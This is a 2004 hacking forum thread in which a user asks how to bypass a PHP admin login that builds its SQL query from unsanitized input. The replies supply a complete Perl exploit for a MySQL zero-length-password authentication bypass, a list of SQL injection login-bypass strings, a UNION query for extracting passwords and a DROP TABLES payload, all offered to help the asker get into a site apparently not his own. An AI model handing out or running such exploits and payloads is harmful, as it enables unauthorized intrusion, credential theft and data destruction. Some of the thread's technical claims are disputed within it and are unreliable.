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www.waraxe.us Forum Index -> Newbies corner -> Bypass authentication
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Bypass authentication
PostPosted: Tue Jul 13, 2004 5:16 pm Reply with quote
rafaelfpviana
Beginner
Beginner
 
Joined: Jun 27, 2004
Posts: 1




how could I bypass this:

Login form:
Code:

<p style='margin-left: 5; margin-right: 5'>
       <font face='Verdana' size='2'>You are not logged.<br>
<br><form ACTION='index.php' method=post><input type="hidden" name="PHPSESSID" value="44c54761b5ff0ae5bb43bc8cbda6fd45" />
<input type='hidden' name='on' value='2'>
<p align='center'><font face='Verdana' size='1'>:: Admin ::</font></p>
<div align='center'>
  <center>
  <table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='25%' id='AutoNumber1'>
    <tr>
      <td width='100%' colspan='2' bgcolor='#CCFFFF'>

      <p style='margin-top: 2; margin-bottom: 2' align='center'>
      <font size='1' face='Verdana'>Login</font></td>
    </tr>
    <tr>
      <td width='15%'>
      <p style='margin-left: 2; margin-top: 2; margin-bottom: 2'>
      <font size='1' face='Verdana'>Login:</font></td>
      <td width='50%'>

      <p style='margin-left: 2; margin-top: 2; margin-bottom: 2'><font color=''>
      <input type='text' name='id' size=10 style='font-family: ; font-size: 8 pt; background-color: #FFFFFF; border-style: solid; border-width: 1'></font></td>
    </tr>
    <tr>
      <td width='15%'>
      <p style='margin-left: 2; margin-top: 2; margin-bottom: 2'>
      <font size='1' face='Verdana'>Password:</font></td>
      <td width='50%'>

      <p style='margin-left: 2; margin-top: 2; margin-bottom: 2'><font color=''>
      <input type='password' name='passwd' size=20 style='font-family: ; font-size: 8 pt; background-color: #FFFFFF; border-style: solid; border-width: 1'></font></td>
    </tr>
    <tr>
      <td width='100%' colspan='2' bgcolor='#CCFFFF'>
      <p align='center' style='margin-top: 2; margin-bottom: 2'>
      <input type='submit' value=' Login ' name='Submit' style='border-style:solid; border-width:1px; font-family: ; font-size: 8 pt; '></td>
    </tr>
  </table>

  </center>
</div>
</form>


This is the code that validates:

Code:


session_start();

  include "../config.inc.php";

if ($id && $passwd)
{
   
  $query = "select * from admin where id='$id' and passwd='$passwd'";
  $result = mysql_query($query);
  if (mysql_num_rows($result) > 0 )
  {
    $valid_admin = $id;
    session_register("valid_admin");
  }
}
   
     if (session_is_registered("valid_admin"))
  {

include "admin.php";

  }
  else
  {
    if (isset($id))
    {
      echo "<p style='margin-left: 5; margin-right: 5'>
       <font face='Verdana' size='2' color='#ff0000'>login or password incorrect</font>";
    }
    else
    {
      echo "<p style='margin-left: 5; margin-right: 5'>
       <font face='Verdana' size='2'>You are not logged.<br>";
    }

    echo "$HERE IS THE FORM THAT I PUT ON THE TOP ";
  }


Thanks for the help people.
If you guys think that is something missing just tell me.

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PostPosted: Tue Jul 13, 2004 9:32 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




war game ??? Sad


mysql bypass

Code:
#!/usr/bin/perl
#
# The script connects to MySQL and attempts to log in using a zero-length password
# Based on the vuln found by NGSSecurity
#
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
# <elik@beyondsecurity.com>
#
use strict;
use IO::Socket::INET;

usage() unless ((@ARGV >= 1) || (@ARGV <= 3));

my $username = shift(@ARGV);
my $host = shift(@ARGV);
if (!$host)
{
  usage();
}
my $port = shift(@ARGV);
if (!$port)
{
 $port = 3306; print "Using default MySQL port (3306)\n";
}

# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

# receive greeting
my $reply;
recv($socket, $reply, 1024, 0);
if (length($reply) < 7)
{
 print "Not allowed to connect to MySQL!\n";
 exit(1);
}
print "Received greeting:\n";
HexDump($reply);
print "\n";

# here we define the login OK reply
# my $login_ok = "\x01\x00\x00\x02\xFE";

# break the username string into chars and rebuild it
my $binuser = pack("C*", unpack("C*", $username));

# send login caps packet with password
my $packet = "\x85\xa6".
             "\x03\x00\x00".
    "\x00".
    "\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
             "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash

substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)

print "Sending caps packet:\n";
HexDump($packet);
print "\n";
send $socket, $packet, 0;

# receive reply
recv($socket, $reply, 1024, 0);
print "Received reply:\n";
HexDump($reply);

my @list_bytes = unpack("C*", $reply);

#print "The fifth byte is: ", $list_bytes[4], "\n";
if (length(@list_bytes) >= 4)
{
 print "Response insufficent\n";
}

#if ($reply eq $login_ok)
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
{
 print "Received OK reply, authentication successful!!\n";
}
else
{
 print "Authentication failed!\n";
}

# close
close($socket);


sub usage
{
    # print usage information
    print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
<username> - The DB username to authenticate as
<host> - The host to connect to
[port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
    exit(1);
}


###
# do a hexdump of a string (assuming it's binary)
###
sub HexDump
{
 my $buffer = $_[0];

 # unpack it into chars
 my @up = unpack("C*", $buffer);
 my $pos=0;

 # calculate matrix sizes
 my $rows = int(@up/16);
 my $leftover = int(@up%16);

 for( my $row=0; $row < $rows ; $row++, $pos+=16)
 {
  printf("%08X\t", $pos);
  my @values = @up[$pos .. $pos+15];
  my @line;
  foreach my $val (@values)
  {
   push(@line, sprintf("%02X", $val));
  }
  print join(' ', @line), "\n";
 }
 # print last line
 printf("%08X\t", $pos);
 my @values = @up[$pos .. $pos+$leftover-1];
 my @line;
 foreach my $val (@values)
 {
  push(@line, sprintf("%02X", $val));
 }
 print join(' ', @line), "\n";
}



Save to .pl (Perl script) Cool
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hey there
PostPosted: Fri Jul 16, 2004 8:19 am Reply with quote
icenix
Advanced user
Advanced user
 
Joined: May 13, 2004
Posts: 106
Location: Australia




hey there buddy, looks like we got a classic case of SQL Injection

Code:

$query = "select * from admin where id='$id' and passwd='$passwd'";


not sure who wrote this but he shouldnt of made it open source :/
I THINK that this can be exploited pretty easily.
because $id and $passwd are completly unsanitized..

perfect evasion:

you can use one of these two techniques to bypass:

A: you can bypass the login by deeming it "TRUE"
by putting as User ID:
Code:

' or 0=0 --
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

try some of them

(someone correct me if im wrong, this should work or something similar)

OR B: Extract the password from the database which would require you to have some knowledge of the database.
try something like:
Code:

http://thesite.com/thelogin.php?id=' UNION ALL SELECT user_password FROM the_database WHERE "='


OR C (Twisted Evil hehehe ) : you can xxxx the site to hell by dropping all the tables
Code:

http://thesite.com/thelogin.php?id=' ; DROP TABLES WHERE "='


im doing all this from memory and no doubt i might of missed something Embarassed but yeah Wink

good luck on your little hacking trip Wink
any more questions just come back and ask Very Happy

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Re: hey there
PostPosted: Sun Jul 25, 2004 12:52 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




icenix wrote:
hey there buddy, looks like we got a classic case of SQL Injection

Code:

$query = "select * from admin where id='$id' and passwd='$passwd'";


not sure who wrote this but he shouldnt of made it open source :/
I THINK that this can be exploited pretty easily.
because $id and $passwd are completly unsanitized..

perfect evasion:

you can use one of these two techniques to bypass:

A: you can bypass the login by deeming it "TRUE"
by putting as User ID:
Code:

' or 0=0 --
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

try some of them

(someone correct me if im wrong, this should work or something similar)

OR B: Extract the password from the database which would require you to have some knowledge of the database.
try something like:
Code:

http://thesite.com/thelogin.php?id=' UNION ALL SELECT user_password FROM the_database WHERE "='


OR C (Twisted Evil hehehe ) : you can xxxx the site to hell by dropping all the tables
Code:

http://thesite.com/thelogin.php?id=' ; DROP TABLES WHERE "='


im doing all this from memory and no doubt i might of missed something Embarassed but yeah Wink

good luck on your little hacking trip Wink
any more questions just come back and ask Very Happy



First of all, in case of php and mysql, there is "magic_quotes" enabled with ~100% probability. So no sql injection here Smile

And one more thing - mysql does not support multiple sql queries through php scripts, so forget about "... ; DROP TABLE ..." Wink
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lol
PostPosted: Mon Jul 26, 2004 10:11 pm Reply with quote
icenix
Advanced user
Advanced user
 
Joined: May 13, 2004
Posts: 106
Location: Australia




hahah well there you go Razz
told you i was unsure lol

sorry Very Happy but glad to see you got your answer.

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Re: hey there
PostPosted: Mon Aug 23, 2004 7:44 am Reply with quote
bima
Regular user
Regular user
 
Joined: Jun 14, 2004
Posts: 16
Location: dunia fana




Quote:

And one more thing - mysql does not support multiple sql queries through php scripts, so forget about "... ; DROP TABLE ..." Wink


u right , maybe the next mysql version have this feature,
so the multiple sql queries can be executed like mssql...

Laughing
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Re: hey there
PostPosted: Mon Aug 23, 2004 6:36 pm Reply with quote
madman
Active user
Active user
 
Joined: May 24, 2004
Posts: 46




bima wrote:
u right , maybe the next mysql version have this feature,
so the multiple sql queries can be executed like mssql...

Well, mysql indeed support multi queries separated with semicolon chars. But server-side parsers (like PHP) always stripping first match semicolon separator and all commands after.

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Bypass authentication
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